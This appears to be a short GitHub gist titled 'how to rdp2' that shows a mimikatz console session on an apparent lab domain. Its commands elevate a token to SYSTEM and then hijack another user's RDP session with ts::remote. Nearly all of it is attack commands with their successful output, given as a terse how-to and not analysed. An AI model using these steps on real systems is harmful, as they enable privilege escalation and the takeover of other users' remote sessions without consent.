Skip to content

Instantly share code, notes, and snippets.

@c0d3x27
Last active July 24, 2023 14:59
Show Gist options
  • Save c0d3x27/bd5b0373adf95a764621ec24db61d839 to your computer and use it in GitHub Desktop.
Save c0d3x27/bd5b0373adf95a764621ec24db61d839 to your computer and use it in GitHub Desktop.
how to rdp2
mimikatz # ts::remote /id:1 #This will fail if you didnt started the session as SYSTEM
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
640 {0;000003e7} 0 D 35719 NT AUTHORITY\SYSTEM S-1-5-18 (04g,31p) Primary
-> Impersonated !
* Process Token : {0;01b55626} 2 F 30415201 hacklab\m3g9tr0n S-1-5-21-2725560159-1428537199-2260736313-1730
(15g,26p) Primary
* Thread Token : {0;000003e7} 0 D 30503948 NT AUTHORITY\SYSTEM S-1-5-18 (04g,31p) Impersonation (Delegation)
mimikatz # ts::remote /id:1 # Here will work!
Asking to connect from 3 to current session
> Connected to 1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment